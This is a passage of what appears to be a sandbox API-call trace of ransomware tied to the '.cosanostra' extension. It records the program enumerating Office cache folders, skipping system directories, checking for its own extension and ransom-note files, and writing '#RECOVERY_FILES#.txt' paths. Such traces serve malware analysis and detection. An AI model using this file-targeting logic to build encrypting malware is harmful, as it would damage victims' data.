lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0077.227] lstrlenW (lpString="System Volume Information") returned 25 [0077.227] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..") returned 69 [0077.227] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.227] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.227] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0077.227] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.227] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0077.227] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\..") returned 69 [0077.227] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.227] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0077.227] lstrlenW (lpString="Windows") returned 7 [0077.227] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0077.227] lstrlenW (lpString="Program Files") returned 13 [0077.227] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0077.227] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.227] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0077.227] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.228] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0077.228] lstrlenW (lpString="System Volume Information") returned 25 [0077.228] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0077.228] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0077.228] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.228] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0077.228] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0077.228] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.228] lstrcmpiW (lpString1="VisioLR.cab", lpString2="Windows") returned -1 [0077.228] lstrlenW (lpString="Windows") returned 7 [0077.228] lstrcmpiW (lpString1="VisioLR.cab", lpString2="Program Files") returned 1 [0077.228] lstrlenW (lpString="Program Files") returned 13 [0077.228] lstrcmpiW (lpString1="VisioLR.cab", lpString2="Program Files (x86)") returned 1 [0077.228] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.228] lstrcmpiW (lpString1="VisioLR.cab", lpString2="$Recycle.bin") returned 1 [0077.228] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.228] lstrcmpiW (lpString1="VisioLR.cab", lpString2="System Volume Information") returned 1 [0077.228] lstrlenW (lpString="System Volume Information") returned 25 [0077.228] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 78 [0077.228] StrStrIW (lpFirst="VisioLR.cab", lpSrch=".cosanostra") returned 0x0 [0077.229] lstrcmpW (lpString1="VisioLR.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.229] lstrcmpW (lpString1="VisioLR.cab", lpString2="_uninstalling_.png") returned 1 [0077.229] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 78 [0077.229] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.229] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="Windows") returned -1 [0077.229] lstrlenW (lpString="Windows") returned 7 [0077.229] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="Program Files") returned 1 [0077.229] lstrlenW (lpString="Program Files") returned 13 [0077.229] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="Program Files (x86)") returned 1 [0077.229] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.229] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="$Recycle.bin") returned 1 [0077.229] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.229] lstrcmpiW (lpString1="VisioMUI.msi", lpString2="System Volume Information") returned 1 [0077.229] lstrlenW (lpString="System Volume Information") returned 25 [0077.229] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 79 [0077.229] StrStrIW (lpFirst="VisioMUI.msi", lpSrch=".cosanostra") returned 0x0 [0077.229] lstrcmpW (lpString1="VisioMUI.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.229] lstrcmpW (lpString1="VisioMUI.msi", lpString2="_uninstalling_.png") returned 1 [0077.229] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 79 [0077.230] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.230] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="Windows") returned -1 [0077.230] lstrlenW (lpString="Windows") returned 7 [0077.230] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="Program Files") returned 1 [0077.230] lstrlenW (lpString="Program Files") returned 13 [0077.230] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="Program Files (x86)") returned 1 [0077.230] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.230] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="$Recycle.bin") returned 1 [0077.230] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.230] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="System Volume Information") returned 1 [0077.230] lstrlenW (lpString="System Volume Information") returned 25 [0077.230] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 79 [0077.230] StrStrIW (lpFirst="VisioMUI.xml", lpSrch=".cosanostra") returned 0x0 [0077.230] lstrcmpW (lpString1="VisioMUI.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.230] lstrcmpW (lpString1="VisioMUI.xml", lpString2="_uninstalling_.png") returned 1 [0077.231] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 79 [0077.231] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0077.231] FindClose (in: hFindFile=0x25a770 | out: hFindFile=0x25a770) returned 1 [0077.231] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0077.231] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0077.231] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0077.231] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0077.231] lstrlenW (lpString="Windows") returned 7 [0077.231] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0077.231] lstrlenW (lpString="Program Files") returned 13 [0077.231] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0077.231] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.231] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0077.231] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.231] lstrcmpiW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0077.231] lstrlenW (lpString="System Volume Information") returned 25 [0077.231] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C") returned 66 [0077.232] lstrcmpW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0077.232] lstrcmpW (lpString1="{90140000-00A1-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0077.232] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*") returned 68 [0077.232] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a770 [0077.368] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0077.368] lstrlenW (lpString="Windows") returned 7 [0077.368] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0077.368] lstrlenW (lpString="Program Files") returned 13 [0077.368] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0077.368] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.368] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0077.368] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.368] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0077.368] lstrlenW (lpString="System Volume Information") returned 25 [0077.368] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.") returned 68 [0077.368] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.368] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0077.368] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.368] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0077.368] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\.") returned 68 [0077.368] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.368] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0077.368] lstrlenW (lpString="Windows") returned 7 [0077.368] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0077.368] lstrlenW (lpString="Program Files") returned 13 [0077.368] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0077.368] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.368] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0077.368] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.369] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0077.369] lstrlenW (lpString="System Volume Information") returned 25 [0077.369] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..") returned 69 [0077.369] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.369] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.369] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0077.369] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.369] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0077.369] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\..") returned 69 [0077.369] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.369] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="Windows") returned -1 [0077.369] lstrlenW (lpString="Windows") returned 7 [0077.369] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="Program Files") returned -1 [0077.369] lstrlenW (lpString="Program Files") returned 13 [0077.369] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="Program Files (x86)") returned -1 [0077.369] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.369] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="$Recycle.bin") returned 1 [0077.369] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.369] lstrcmpiW (lpString1="OneNoteMUI.msi", lpString2="System Volume Information") returned -1 [0077.369] lstrlenW (lpString="System Volume Information") returned 25 [0077.369] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 81 [0077.369] StrStrIW (lpFirst="OneNoteMUI.msi", lpSrch=".cosanostra") returned 0x0 [0077.369] lstrcmpW (lpString1="OneNoteMUI.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.369] lstrcmpW (lpString1="OneNoteMUI.msi", lpString2="_uninstalling_.png") returned 1 [0077.369] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi") returned 81 [0077.369] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.369] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="Windows") returned -1 [0077.369] lstrlenW (lpString="Windows") returned 7 [0077.369] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="Program Files") returned -1 [0077.369] lstrlenW (lpString="Program Files") returned 13 [0077.369] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="Program Files (x86)") returned -1 [0077.369] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.369] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="$Recycle.bin") returned 1 [0077.369] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.369] lstrcmpiW (lpString1="OneNoteMUI.xml", lpString2="System Volume Information") returned -1 [0077.369] lstrlenW (lpString="System Volume Information") returned 25 [0077.369] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 81 [0077.370] StrStrIW (lpFirst="OneNoteMUI.xml", lpSrch=".cosanostra") returned 0x0 [0077.370] lstrcmpW (lpString1="OneNoteMUI.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.370] lstrcmpW (lpString1="OneNoteMUI.xml", lpString2="_uninstalling_.png") returned 1 [0077.370] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 81 [0077.370] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.370] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="Windows") returned -1 [0077.370] lstrlenW (lpString="Windows") returned 7 [0077.370] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="Program Files") returned -1 [0077.370] lstrlenW (lpString="Program Files") returned 13 [0077.370] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="Program Files (x86)") returned -1 [0077.370] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.370] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="$Recycle.bin") returned 1 [0077.370] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.370] lstrcmpiW (lpString1="OnoteLR.cab", lpString2="System Volume Information") returned -1 [0077.370] lstrlenW (lpString="System Volume Information") returned 25 [0077.370] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 78 [0077.370] StrStrIW (lpFirst="OnoteLR.cab", lpSrch=".cosanostra") returned 0x0 [0077.370] lstrcmpW (lpString1="OnoteLR.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.370] lstrcmpW (lpString1="OnoteLR.cab", lpString2="_uninstalling_.png") returned 1 [0077.370] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 78 [0077.370] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.370] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1 [0077.370] lstrlenW (lpString="Windows") returned 7 [0077.370] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files") returned 1 [0077.370] lstrlenW (lpString="Program Files") returned 13 [0077.370] lstrcmpiW (lpString1="Setup.xml", lpString2="Program Files (x86)") returned 1 [0077.370] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.370] lstrcmpiW (lpString1="Setup.xml", lpString2="$Recycle.bin") returned 1 [0077.370] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.370] lstrcmpiW (lpString1="Setup.xml", lpString2="System Volume Information") returned -1 [0077.370] lstrlenW (lpString="System Volume Information") returned 25 [0077.370] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0077.370] StrStrIW (lpFirst="Setup.xml", lpSrch=".cosanostra") returned 0x0 [0077.370] lstrcmpW (lpString1="Setup.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.370] lstrcmpW (lpString1="Setup.xml", lpString2="_uninstalling_.png") returned 1 [0077.370] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0077.371] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0 [0077.371] FindClose (in: hFindFile=0x25a770 | out: hFindFile=0x25a770) returned 1 [0077.371] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0077.371] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt") returned 87 [0077.371] FindNextFileW (in: hFindFile=0x24d080, lpFindFileData=0x2cff348 | out: lpFindFileData=0x2cff348) returned 1 [0077.371] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1 [0077.371] lstrlenW (lpString="Windows") returned 7 [0077.371] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="Program Files") returned -1 [0077.371] lstrlenW (lpString="Program Files") returned 13 [0077.371] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="Program Files (x86)") returned -1 [0077.371] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.371] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="$Recycle.bin") returned 1 [0077.371] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.371] lstrcmpiW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="System Volume Information") returned -1 [0077.371] lstrlenW (lpString="System Volume Information") returned 25 [0077.371] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C") returned 66 [0077.371] lstrcmpW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0077.372] lstrcmpW (lpString1="{90140000-00B4-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0077.372] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*") returned 68 [0077.372] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 0x25a770 [0077.502] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1 [0077.502] lstrlenW (lpString="Windows") returned 7 [0077.502] lstrcmpiW (lpString1=".", lpString2="Program Files") returned -1 [0077.502] lstrlenW (lpString="Program Files") returned 13 [0077.502] lstrcmpiW (lpString1=".", lpString2="Program Files (x86)") returned -1 [0077.502] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.502] lstrcmpiW (lpString1=".", lpString2="$Recycle.bin") returned 1 [0077.502] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.502] lstrcmpiW (lpString1=".", lpString2="System Volume Information") returned -1 [0077.502] lstrlenW (lpString="System Volume Information") returned 25 [0077.502] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.") returned 68 [0077.502] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.502] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0077.502] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.503] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0077.503] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\.") returned 68 [0077.503] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.503] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1 [0077.503] lstrlenW (lpString="Windows") returned 7 [0077.503] lstrcmpiW (lpString1="..", lpString2="Program Files") returned -1 [0077.503] lstrlenW (lpString="Program Files") returned 13 [0077.503] lstrcmpiW (lpString1="..", lpString2="Program Files (x86)") returned -1 [0077.503] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.503] lstrcmpiW (lpString1="..", lpString2="$Recycle.bin") returned 1 [0077.503] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.503] lstrcmpiW (lpString1="..", lpString2="System Volume Information") returned -1 [0077.503] lstrlenW (lpString="System Volume Information") returned 25 [0077.503] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..") returned 69 [0077.504] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.504] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.504] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0077.504] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.504] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0077.504] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\..") returned 69 [0077.504] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.504] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="Windows") returned -1 [0077.504] lstrlenW (lpString="Windows") returned 7 [0077.504] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="Program Files") returned 1 [0077.504] lstrlenW (lpString="Program Files") returned 13 [0077.504] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="Program Files (x86)") returned 1 [0077.504] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.504] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="$Recycle.bin") returned 1 [0077.504] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.504] lstrcmpiW (lpString1="ProjectMUI.msi", lpString2="System Volume Information") returned -1 [0077.504] lstrlenW (lpString="System Volume Information") returned 25 [0077.504] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 81 [0077.504] StrStrIW (lpFirst="ProjectMUI.msi", lpSrch=".cosanostra") returned 0x0 [0077.504] lstrcmpW (lpString1="ProjectMUI.msi", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.504] lstrcmpW (lpString1="ProjectMUI.msi", lpString2="_uninstalling_.png") returned 1 [0077.504] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 81 [0077.504] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.504] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="Windows") returned -1 [0077.504] lstrlenW (lpString="Windows") returned 7 [0077.504] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="Program Files") returned 1 [0077.504] lstrlenW (lpString="Program Files") returned 13 [0077.504] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="Program Files (x86)") returned 1 [0077.505] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.505] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="$Recycle.bin") returned 1 [0077.505] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.505] lstrcmpiW (lpString1="ProjectMUI.xml", lpString2="System Volume Information") returned -1 [0077.505] lstrlenW (lpString="System Volume Information") returned 25 [0077.505] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 81 [0077.505] StrStrIW (lpFirst="ProjectMUI.xml", lpSrch=".cosanostra") returned 0x0 [0077.505] lstrcmpW (lpString1="ProjectMUI.xml", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.505] lstrcmpW (lpString1="ProjectMUI.xml", lpString2="_uninstalling_.png") returned 1 [0077.505] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 81 [0077.505] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.505] lstrcmpiW (lpString1="ProjLR.cab", lpString2="Windows") returned -1 [0077.505] lstrlenW (lpString="Windows") returned 7 [0077.505] lstrcmpiW (lpString1="ProjLR.cab", lpString2="Program Files") returned 1 [0077.505] lstrlenW (lpString="Program Files") returned 13 [0077.505] lstrcmpiW (lpString1="ProjLR.cab", lpString2="Program Files (x86)") returned 1 [0077.505] lstrlenW (lpString="Program Files (x86)") returned 19 [0077.505] lstrcmpiW (lpString1="ProjLR.cab", lpString2="$Recycle.bin") returned 1 [0077.505] lstrlenW (lpString="$Recycle.bin") returned 12 [0077.505] lstrcmpiW (lpString1="ProjLR.cab", lpString2="System Volume Information") returned -1 [0077.505] lstrlenW (lpString="System Volume Information") returned 25 [0077.505] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 77 [0077.505] StrStrIW (lpFirst="ProjLR.cab", lpSrch=".cosanostra") returned 0x0 [0077.505] lstrcmpW (lpString1="ProjLR.cab", lpString2="#RECOVERY_FILES#.txt") returned 1 [0077.505] lstrcmpW (lpString1="ProjLR.cab", lpString2="_uninstalling_.png") returned 1 [0077.505] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 77 [0077.505] FindNextFileW (in: hFindFile=0x25a770, lpFindFileData=0x2cfefa8 | out: lpFindFileData=0x2cfefa8) returned 1 [0077.505] lstrcmpiW 